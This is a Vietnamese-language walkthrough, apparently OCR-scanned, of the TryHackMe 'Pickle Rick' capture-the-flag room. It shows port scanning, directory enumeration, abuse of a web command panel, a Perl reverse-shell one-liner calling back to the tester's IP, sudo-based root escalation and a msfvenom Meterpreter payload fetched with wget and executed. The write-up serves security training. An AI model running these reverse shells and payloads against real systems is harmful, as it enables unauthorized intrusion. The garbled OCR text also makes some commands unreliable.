Server khai thac:

https://tryhackme.com/room/picklerick

Thuc hién start machine dé 14y dia chiip cGia muc tiéu can khai thac:

Active Machine Information

Title IP Address Expires

Pickle Rick 10.10.176.127 57m 44s

Ping kiém tra may Kali cé dang cung mang vdi Muc tiéu hay ko:

p 10.10.176.127
PING 10.10.176.127 (10.10.176.127) 56(84) bytes of data.
64 bytes from 10.10.176.127: icmp seq=1 ttl=61 time=391
64 bytes from 10.10.176.127: icmp seq=2 ttl=61 time=380

--- 108.10.176.127 ping statistics ---
packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 388.956/389.991/391.027/1.035

Thuc hién scan cac port TCP:

nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127

Nmap scan report for 10.10.194.246

Host is up, received user-set (0.38s latency)
Scanned at 2022-08-12 23:57:10 EDT for 527s
Not shown: 65533 closed tcp ports (reset)
PORT  STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 ed:fd:9b:c2:6d:46:70:08:56:fd:db:22:d4:b5:0e:ac (RSA)

| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCzTxYskeHG131AamE4TvRuFTTD3IM1sb5rE8c2yq6GEb6Kbov5+V6Q5PeGbuhfFykD8VXigywmebwOx/L1ijA+CSGPuuP
1J71vWPV2ueRNrNO1UWP9gNUvsZ1gpPRaRFj59tzdwR9P0jBL45G/0hZaEe8EsurdZN7mM1jBnwteB77CNY9xmAHORMWCVzc3xAd3RAXXE/MdxsFINCt7+FhumKCvQWTwhEr
kump7hv1rtaXBSd8wGZy00tmFPATYK9U43WWz2j cjk80k1VDFq+1nbBwbZMcc403dBP1gpIXk1KNTWnEMGUXt f81RMW7E+wEd4HU3TkpbrbSbydD

| 256 Oe:5a:18:d7:ec:10:8c:89:b9:d6:79:df:b0:68:4c:0a (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAYNTYAAAAIbmlzdHAYNTYAAABBBHigL6IjAnAntDCOVTLh2VZUTT7KRE446WTBAGWUVWAWV4/ jInPkWkwOGu
hQfMHnke/hatY11AMgr+sgMnl4=

| 256 25:4c:5f:22:53:02:56:78:ba:73:e2:7b:15:20:80:18 (ED25519)
| ssh-ed25519 AAAAC3NzaCll1ZDIINTESAAAAIItFwsGN1HPvD3S5QMini5zcRO1/1g4Yh5g9/Lmy@VNG
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS
| _http-title: Rick is supd4r cool
| _http-server-header: Apache/2.4.18 (Ubuntu)
No exact 0S matches for host (If you know what 0S is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
:SCAN (V=7 .92%E=4%D=8/13%0T=22%CT=1%CU=33932%PV=Y%DS=4%DC=I% M: 62F7232
: 59 86764-pc-linux-gnu)SEQ(S CD=1%ISR=106%TI=Z%CI=I



https://tryhackme.com/room/picklerick

Uptime guess: 0.006 days (since Fri Aug 12 23:57:45 2022)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: ALl zeros
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 00:05

Completed NSE at 00:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 00:05

Completed NSE at 00:85, 0.060s elapsed
NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 00:05

Completed NSE at 00:05, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 528.27 seconds
Raw packets sent: 68270 (3.008MB) | Rcvd: 67826 (2.717MB)

Thuc hién viéc scan cac port UDP

nmap -vv -Pn -T4 -sU -sV 10.10.176.127

Nmap scan report for 10.

10.176.127

Host is up, received user-set (0.39s latency).
Scanned at 2022-08-14 04:19:27 EDT for 1090s
Not shown: 992 closed udp ports (port-unreach)

PORT STATE

68/udp open|filtered
687/udp open|filtered
999/udp open|filtered
2343/udp open|filtered
19227/udp open|filtered
20313/udp open|filtered
36206/udp open|filtered
41308/udp open|filtered

SERVICE
dhcpc
asipregistry
applix
nati-logos
unknown
unknown
unknown
unknown

REASON

no-response
no-response
no-response
no-response
no-response
no-response
no-response
no-response

Read data files from: fusr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap

.org/submit/

VERSION

Nmap done: 1 IP address (1 host up) scanned in 1090.73 seconds

Raw packets sent: 1440 (66.771KB)

| Revd: 994 (73.288KB)

Dua trén két qua quét cac port TCP va phién ban nhu trén, cé thé thiy Server dang ma 2
port 22 va 80. Trong do port 22 la service SSH vd&i phién ban OpenSSH 7.2p2.

Ther truy cip bdng ssh dén server -> nhung that bai

® /home/kali/Desktop

sh admin@l0.10.176.127
The authenticity of host '10.10.176.127 (10.10.176.127)"' can't be established.
ED25519 key fingerprint is SHA256:uhou/QWrDD6HLWL1+Zu3fgH/121Pc8xcOWG7YFmIUEE.

This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.176.127'

255

(ED25519) to the list of known hosts.

admin@10.10.176.127: Permission denied (publickey).




Tim 16i lién quan dén phién ban cla SSH nay

/home/kali/Desktop
loit OpenSSH 7.2p2

33

.7 - Username Enumeration linux/remote/45233.py
.7 - Username Enumeration (PoC | linux/remote/45210.py
]

sername Enumeration linux/remote/40136. py
'UsePrivilegeSeparation Disab | linux/local/40962.txt
- agent Protocol Arbitrary Libr | linux/remote/40963.txt
- User Enumeration (2) linux/remote/45939.py
- Username Enumeration linux/remote/40113. txt

Shellcodes: No Results

Dua vao két qua tim kiém, rat co thé Server dinh 16 hdng “Usename Enumeration”. Thdng
qua tim hiéu thi 16i nay thudng chay rat mat thoi gian dé tim ra username cho SSH, sau d6
lai cdn phai brute force tim password cho tai khodn dé ma chuwa chic s& tim ra dugc -> tam

thoi bo qua.
Chuyén dén tiép theo sé& 1a port 80. Tién hanh truy cip trang web theo dia chi cla Server,

tim source:

O 8 thmlabs.com

Help Morty!

Listen Morty... | need your help, I've turned myself into a pickle again and this time | can't change back!

I need you to *BURRRP*....Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. The only problem is, | have no idea what the
*BURRRRRRRRP*, password was! Help Morty, Help!

Va src clia nd sé la:



<IDOCTYPE html>
<html lang="en">
<head>
<title>Rick is sup4r cool</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="assets/bootstrap.min.css">
<script src="assets/jquery.min.js"></script>
<script src="assets/bootstrap.min.js"></script>
<style>
.jumbotron {
background-image: url("assets/rickandmorty.jpeg");
background-size: cover;
height: 340px;
}
</style>
</head>
<body>
<div class="container">
<div class="jumbotron"></div>
<h1>Help Morty!</h1></br>

<p>Listen Morty... | need your help, I've turned myself into a pickle again and this time | can't change
back!</p></br>

<p>| need you to <b>*BURRRP*</b>....Morty, logon to my computer and find the last three secret
ingredients to finish my pickle-reverse potion. The only problem is,

| have no idea what the <b>*BURRRRRRRRP*</b>, password was! Help Morty, Help!</p></br>
</div>
<l--
Note to self, remember username!
Username: R1ckRul3s
>
</body>

</html>




Phan mau xanh 14 & trén 1a comment trén front end code, day cé thé 13 user dung dé dang
nhap I&n chinh trang web hodc |3 dung dang nhap SSH. Nhung tam thdi thi clr dé day va
tiép tuc tim kiém céc théng tin khac nhu cac dir an.

Thuc hién chay [énh:

gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x txt,php,py,sh

gobuster: tén [énh

dir: ché d6 tim file an

-u: url cla server nan nhan

-w: tén wordlist can dung

-x: nhitng extension mudn tim (thudng vai website linux s& 13 txt, php, php5, py,
rb, pl, sh)

-t: sb threads chay trong 1 giay

(]

022/08/14 04:59:00 Starting gobust directory enumeration mode
(Status
(Status:
155, txt (Status:
s.php (Status:
(Status:
.htpasswd.txt (Status:
.htaccess.py (Status:
.hta (Status:
.htpasswd.php (Status:
.htaccess.sh (Status:
.hta.txt (Status:
.htpasswd.py (Status:
.hta.php (Status:
.htpasswd.sh (Status:
.hta.py (Status:
fassets (Status: ize: 315] [--> http://10.10.176.127/assets/]
/denied.php (Status: ize: @] [--> /login.php]
/index.html (Status: ize: 1062]
/login.php (Status: ize: 882]
f/portal.php (Status: ize: @] [--> /login.php]
/robots.txt (Status: ize: 17]
frobots.txt (Status: ize: 17]
status (Status: i

e
e
7
e
e
/
/
/
/
/
/
/
/
/
/

C6 thé nhan thay 2 dudng dan tra vé status 200. Tién hanh truy cap 2 trang nay.

Vi url dau tién:

thmlabs.com

Wubbalubbadubdub

Pay c6 thé 1a password cho username vira tim duoc hdi nay.



V@i cai thr 2, ching ta dugc mot noi nhu 1a chd dé dang nhap:

o8 thmlabs.com

Portal Login Page

Username:

Password:

Dang nhap thanh céng thi dugc mot noi nhu thé nay:

thmlabs.com

Commands

Command Panel

Execute

Dén day thi test th&r moét cai cdu 1énh xem cai Command Panel nay hoat ddng nhu thé nao.

Command Panel

Is -la

Execute

total 40

drwxr-xr-x 3 root root 4096 Feb 10 2019 .
drwxr-xr-x 3 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 ubuntu ubuntu 17 Feb 10 2019 Sup3rS3cretPickl3Ingred.txt
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 1@ 2019 assets
-rwxr-xr-x 1 ubuntu ubuntu 54 Feb 10 2019 clue.txt
-rwxr-xr-x 1 ubuntu ubuntu 1105 Feb 1@ 2019 denied.php
-rwxrwxrwx 1 ubuntu ubuntu 1062 Feb 10 2019 index.html
-rwxr-xr-x 1 ubuntu ubuntu 1438 Feb 1@ 2019 login.php
-rwxr-xr-x 1 ubuntu ubuntu 2044 Feb 1@ 2019 portal.php
-rwxr-xr-x 1 ubuntu ubuntu 17 Feb 10 2019 robots.txt



Command Panel

whoami|

www-data

TIP QUAN TRONG:

Thoéng thudng, ching ta cé thé sir dung trinh diéu khién nay dé pentest tiép, nhung ldc nay
lai c6 mdt van dé nhu thé nay. Dé cd thé truy cap vao duoc trinh diéu khién server bang
dong Iénh nay, ching ta can phai d&dng nhap thanh cdng vao admin dashboard, vay diéu gi
s8 xay ra néu nhu password va username bi thay déi? Kha nang cao la ching ta s& khong
thé truy cap vao trinh diéu khién nay duoc nita va phai tim mot 16i khai thac khac.

Pé tranh trudng hop trén xay ra, ching ta s thiét [ap mdt TCP reverse shell. Hay cé thé
gidi thich don gidn rang ching ta s& thiét |1ap mot két ndi TCP tir may nan nhan dén may
clia pentester va ching ta sé& diéu khién may nan nhan théng qua két néi TCP dé. Nhu vay,
ching ta khong can phailo 13ng chuyén mat quyén truy cap vao trinh diéu khién nira.

Kiém tra trén server cé dang chay bash, perl, python, ruby gi khéng?

Command Panel

which bash; which nc; which python; which perl; which ruby

/bin/bash
/bin/nc
/usr/bin/perl

Chung ta d3 xac dinh duoc server cé chay nhitng loai nao, tiép theo s& tao mot Reverse
shell bang nhitng cau I1&nh nhu link sau.( Hoc link nay).

Trudc d6 can phaixac dinh IP ma may pentester d3 dung VPN tdi, ddng thai 1a mot port dé
nhan tin hiéu gti v&. Phan IP thi cé san, kiém tra xem mot port nao dé cé dang duoc mé
dung trén may dung cau lénh nmap, telnet, cat /etc/services.


https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://drive.google.com/file/d/1gtRmYwFHalXu_DVPrRiod9LPNF2EiHVX/view

Chung ta s& muon port 8888 dé nhan két nbi chd vé tir may server. Cach md port trén may
kali: nc -nlvp 8888

e n:Mangy nghia ching ta sé chi dung IPv4 address, khong dung domain
e -|:Ché d6 ldng nghe

e -v:Verbose — Cho biét qua trinh Iang nghe dang dién ra thé nao

e -p: Chidinh port dé Iang nghe

Tiép theo str dung nhitng cau |énh dé excute tir trén server, trong trudng hop nay la:

perl -e 'use
Socket;S$i="10.4.43.108";Sp=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp
"));if(connect(S,sockaddr_in(Sp,inet_aton(Si)))){open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};'

CHU Y: 1c Iam lab t&i day thi tat di nghi, nén dia chi server cla tryhackmy sé& thay ddi khi
bat |&n lam tiép:

- |Pserver: 10.10.105.178
- IP cia may kali: 10.4.43.108

Sau khi excute cau |&énh trén web clng vdi thuc hién 1dng nghe trén may kali, két qua
nhan duoc:

2 /home/kali/Desktop
8888
listening on [any] 8888 ...
connect to [10.4.43.108] from (UNKNOWN) [10.10.105.178] 38718

/bin/sh: @: can't access tty; job control turned off
$

$ pwd
Svar/www/html

Sau khi c6 két néi rdi, dung |énh kiém tra cac tap tin/ thu muc dang hién hanh nén dung
l[énh “Is -1a”

$ 1s -la

total 40

drwxr-xr-x 3 root root

drwxr-xr-x 3 root root -
-rwxr-xr-x 1 ubuntu ubuntu Sup3rS3cretPickl3Ingred. txt
drwxrwxr-x 2 ubuntu ubuntu 4 assets
-rwxr-xr-x 1 ubuntu ubuntu ! clue.txt
-rwxr-xr-x 1 ubuntu ubuntu denied.php
-rwxrwxrwx 1 ubuntu ubuntu index.html
-rwxr-xr-x 1 ubuntu ubuntu 14 login.php
-rwxr-xr-x 1

-rwxr-xr-x 1

ubuntu ubuntu 2044 portal.php
ubuntu ubuntu robots.txt




Co mot file dang txt kha nghi, doc file d6 => key1: mr. meeseek hair

Pau tién di chuyén ra thu muc root va liét ké ra cac file/dir hién hanh:

$ 1s -la

total 88

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
L rw rwx rwx
drwxr-xr-x
drwxr-xr-x

[RS ]

bin

boot

dev

etc

home
initrd.img -> boot/initrd.img-4.4.0-1072-aws
lib

1ib64
lost+found
media

mnt

opt

proc

root

run

shin

snap

Srv

Sys

tmp

usr

var
vmlinuz -> boot/vmlinuz-4.4.0-1072-aws

[f= ]

P

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x

=
w

= D00 WA U R U B e B BB B R e e e e e Ll B D

J

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x
drwxrwxrwt
drwxr-xr-x
drwxr-xr-x
L w3 rwx rwx

[

e

Ki&n thirc thu lum dugc:
O thoi diém nay, chi can chu y dén 3 directories dé 13

e home: Noi chtta nhitng directories cla nhirng nguoi dung thong thudong. Nhitng
ngudi dung thong thuong sé dugc phép truy cap vao directory home nay, nhung
khdng dugc phép thay d6i nhitng directories (vi du nhu thém hodc xéa) dwoc chira
bén trong directory home.

e root: Directory clia root hay admin, ngudi cd quyén quan tri cao nhat va chi cé
root/admin mdi dwoc quyén truy cap vao day.

e tmp: day la directory thudng duwoc dung dé lvu trit nhirng dit liéu tam thoi, va duoc
cip quyén truy cap, stra ddi va thuc thi cho tat cd ngudi dung hé thdng (ca root Ian
ngudi dung thudng). Vi 18, directory nay rat hay bi lgi dung lam noi chuyén dit liéu
hodc m3 doc gitta may hacker va may nan nhan. Cling nhu hacker cé thé chay file
m3 doc ngay tai directory tmp dé tan cong hé thng.

Di chuyén vao thu muc home, liét ké cac user:



$ cd home
$ 1ls -la
total 16
drwxr-xr-x 4 root root 4096 Feb 10 2019

drwxr-xr-x 23 root root 4096 Aug 15 07:53 ..
drwxrwxrwx 2 root root 4096 Feb 10 2019 rick
drwxr-xr-x 4 ubuntu ubuntu 4096 Feb 10 2019 ubuntu

A |

Két qua trd vé 1a cé 2 ngudi dung binh thuwdng 1a rick va ubuntu, va ching ta cé quyén truy
cip vao ca 2 directories nay. Thé tai sao account www-data lai khdng c6 & day? Vi account
www-data 13 account méic dinh duoc hé théng webserver (vi du nhu Apache hodc Nginx,
v.v.) st dung cho cac tac vu thuong ngay. Day la mot account binh thuong va khong co
quyén han gi d3c biét.

Vao trong user rick dé tim key thu 2

$ cd rick

$ 1s -la

total 12

drwxrwxrwx 2 root root 4096 Feb 10 2019 .

drwxr-xr-x 4 root root 4096 Feb 10 2019 ..

-rwxrwxrwx 1 root root 13 Feb 10 2019 second ingredients
$ cat "second ingredients”

1 jerry tear

|

Ldc nay chuyén qua user con lai trong thu muc home dé tim. O day ching ta cé 2 file dé
chdy 13 .sudo_as_admin_successful va .ssh. Nhung .sudo_as_admin_successful cé sé byte
dit liéu bang 0 nén day la mot file tréng. Con directory .ssh khong cho ching ta quyén truy
cip. Cé thé thir cd dén .ssh s& nhan duoc bao 16i sau

¢ cd ubuntu
$ s -la
total 40
drwxr-xr-x ¢
drwxr-xr-x ¢

ubuntu ubuntu 4096 Feb

root root 4096 Feb -

ubuntu ubuntu 320 Feb .bash_history

ubuntu ubuntu 220 Aug .bash_logout

ubuntu ubuntu 3771 Aug .bashrc

ubuntu ubuntu 4096 Feb .cache

ubuntu ubuntu 655 May .profile

ubuntu ubuntu 4096 Feb .ssh

ubuntu ubuntu 0 Feb .sudo_as_admin_successful
ubuntu ubuntu 4267 Feb .viminfo

-rW-r--r--

4
il
1
1

-rw-r--r-- 1

2

1

2

1

1

/bin/sh: 18: cd: can't cd to .ssh
) |

10



Do dd can phai leo thang d&c quyén dé cd thé truy cip duoc trong dir nay. Privileges
escalation 1a mot inh vuc khd rong va cé vo sb cach cling nhu k§ thuat dé thuc hién. Trong
d6 co 2 cach phd bién nhat dé 1a st dung:

e Kernal exploit: Nghta 13 Igi dung nhitng 16 hdng bdo mat nam trong nhan Linux hodc
hé diéu hanh Ubuntu dé tién hanh nang quyén quan tri
e Sudo rights: Loi dung céc céng cu duoc cap quyén st dung dé nang quyén quan tri

DAu tién bat dau véi Kernal exploit, can phai thu thap théng tin lién quan dén OS, kerne
nhu sau:

$ cat /etc/*release

DISTRIB ID=Ubuntu

DISTRIB RELEASE=16.04

DISTRIB CODENAME=xenial

DISTRIB DESCRIPTION="Ubuntu 16.04.5 LTS"
NAME="Ubuntu"

VERSION="16.04.5 LTS (Xenial Xerus)"
ID=ubuntu

ID LIKE=debian

PRETTY NAME="Ubuntu 16.04.5 LTS"

VERSION ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT URL="http://help.ubuntu.com/"
BUG REPORT URL="http://bugs.launchpad.net/ubuntu/"
VERSION CODENAME=xenial

UBUNTU CODENAME=xenial

¢ cat /proc/*version

Linux version 4.4.8-1072-aws (buildd@lcy®l-amd64-0826) (gcc version 5.4.0 281606089 (Ubuntu 5.4.0-6ubuntul-~16.04.18) )
0:21 UTC 2018

L |

Két hop cac diéu trén cé nghia la chidng ta can tim mot phan mém khai thac 16i cho phép
nang cap quyén quan tri trén Ubuntu 16.04.5 LTS hodc Kernel 4.4.0-1072-aws dugc viét
bang Bash, Perl, C hodc cd dudi .elf (file thuc thi trén Linux).

Tién hanh tim 16i nhi*ng khdng may kha quan

® /home/kali/Desktop
- ploit Ubuntu 16.04.5 LTS
Exploits: No Results
Shellcodes: No Results

- /home/kali/Desktop
searchsploit linux kernerl 4.4.0-1072-aws
Exploits: No Results
Shellcodes: No Results

11



Két quad khéng may kha quan nén s& chuyén qua cdch nang cip dac quyén th 2 1a sudo
right.

Kién thire: tat cd moi th tir thiét bi, cdng cu, cau Iénh, interface, ip address, port, v.v trén
Linux déu 1a mét file. Do d6, viéc ban cé thé st dung mot cong cu vi du Perl hay mdt dong
lénh vi du Is dugc hay khdng phu thudc hoan toan vao viéc ban cé quyén tiép can, va thuc
thi vdi file Perl ho3c file Is hay khéng. M&i account trong hé théng Linux thudng sé duaoc
cip phép si dung mot s6 cong cu hodc cau |énh dé thuc hién cdng viéc clia ho. Va céc cong
cu hodc cau Iénh nay néu khdng duoc quan tri k§, ching hoan toan cé thé bi lgi dung dé
nang cap lén quyén quan tri cao hon, hodc tham chi 1a quyén quan trj root.

Do d6, can kiém tra quyén cla account hién tai:

$ sudo -1

Matching Defaults entries for www-data on
ip-16-10-1085-178.eu-west-1.compute.internal:
env_reset, mail badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/s

bin\:/bin%\:/snap/bin

User www-data may run the following commands on
ip-10-10-105-178.eu-west-1.compute.internal:
(ALL) NOPASSWD: ALL

Dua vao két qud trén ching ta co thé thay, account cla ching ta cé quyén st dung bat ky
cong cu va cau |énh nao dang co trén server Pickle Rick ma khéng can phai cung cap
password cla account hién tai hodc password cla account root.

Do khéng yéu cau vé password nén st dung cau |énh “sudo su” dé nang cap déc quyén |én
root luén.

¢ sudo su
whoami

root

Ldc nay xem nhu d3 ndm duoc toan bd Server, do d6 nén di vong vong kiém flag cho thi
thach th( 3 thui, két qua nhan duoc sé la:

12



cd /root
1s -la
total 28

root root 4096 2019 .
drwxr-xr-x root root 4096 07:53 ..
~TW-F~=F>-~ root root 29 2019 3rd.txt
-rW-r--r-- root root 3106 2015 .bashrc
-TW-r--r-- root root 148 2015 .profile
drwxr-xr-x root root 4096 2019 snap

root root 4096 2019 .ssh
cat 3rd.txt
3rd ingredients: fleeb juice

Trong CTF, sau khi hoan thanh phan 3 bén trén 13 d3 cé thé coi nhu d3 chién thang. Nhung
khi di lam pentest, s& c6 khac biét mot ti. Khac biét 6 ndm & chd két ndi TCP reverse shell
dang dung van chua phai la mot k&t ndi bén virng va cé thé bi can thiép bat c Itc nao do
két ndi trén cé thé bi phat hién bdi Task Manager. Chua ké dudng truyén TCP reverse shell
khéng dugc m3 hoa, dé dan dén tinh trang 16 théng tin nhay cdm cla ca pentester |4n nan
nhan.

Pé phong tranh viéc do, chung ta s& nang cap dudng truyén tir TCP reverse shell thanh
Meterpreter shell. Uu diém clia Meterpreter shell so v&i TCP reverse shell nhu sau:

e Meterpreter s&t dung in-memory DLL injection, nghta la nd sé chi ghi dit liéu trén
RAM ma théi, va khéng ghi gi vao & clrng ca, do d6 han ché viéc dé lai dau vét.

e Ké&t ndi meterpreter khdng tao ra process mdi ma s& tu inject nd vao process d3 bi
tan cong khién né gan nhu vé hinh trudc cac chuong trinh nhu Task Manager trén
Windows. Khi process bi meterpreter tan cong bi kill, meterpreter s& ty déng nhay
sang mot process khac dé duy tri két néi.

e Két nbi meterpreter duwgc m3 hoa.

e Do meterpreter la mdt tinh nang cla Metasploit, s& dung meterpreter cho phép
pentester s dung ludn cdc module post-exploitation vi du nhu keyblogger, céng
hau, v.v. c6 san trén Metasploit dé tAn cong sdu hon vao hé théng clia nan nhan.

Chung ta s& bat dau nang cp dudng truyén tir TCP reverse shell thanh Meterpreter shell.

S& dung cau |énh sau dé tao ra mot file meterpreter

13



msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -0
shell.elf

Trong do:

e msfvenom: Tén cau Iénh

e -p linux/x86/meterpreter/reverse_tcp: Dang payload hay dang két n6i s& st dung
e LHOST va LPORT: Dia chi IP va port dung dé nhan shell trén may Kali cCia hacker

e -f: Format cla dit liéu d3u ra. O day chon elf 1a extension file thuc thi cda Linux.

e -0: Xuitra file c6 tén Ia shell.elf

Tiép theo str dung cau lénh
Python3 -m http.server 8000

Cau lénh trén st dung mét module cla Python cé tén 1 SimpleHTTPServer dé bién
directory hién tai thanh mot webserver cho phép trao ddi file tai port 8000 vdi dia chi IP I3
IP clia hacker. Webserver nay cé thé dugc truy cap bdi tat cd cac may & trong cung mang.

® /usr/bin
python3 http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

S dung cau |énh sau trén server dé download

wget http://10.4.43.108:8000/shell.elf

wget http://10.4.43.108:8000/shell.elf

--2022-08-15 09:28:24-- http://10.4.43.108:8000/shell.elf
Connecting to 10.4.43.108:8000... connected.

HTTP request sent, awaiting response... 200 0K

Length: 207 [application/octet-stream]

Saving to: ‘shell.elf’

0K 100% 32.0M
=0s

2022-08-15 09:28:25 (32.0 MB/s) - ‘shell.elf’ saved [207/207]
R

Thuc hién cap quyén thuc thi trén may Server va excute file d6
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chmod +x shell.elf

./shell.elf

Quay lai trén may kali, tién hanh dung metasploit dé nhan két nbi tré vé
msfconsole

use exploit/multi/handler

set LHOST <IP cla ban>

set LPORT <Port dd dung trong command msfvenom bén trén>

set PAYLOAD linux/x86/meterpreter/reverse_tcp

exploit

Két qua cudi cung nhan duoc sé |a

msfb exploit( ) > set LHOST 10.4.43.108
LHOST => 10.4.43.108

msT6 exploit( ) > set LPORT 9999

LPORT => 9999

msT6 exploit( ) > exploit

Started reverse TCP handler on 10.4.43.108:9999
Sending stage (989032 bytes) to 10.10.105.178
Meterpreter session 1 opened (10.4.43.108:9999 -> 10.10.105.178:44818) at 2022
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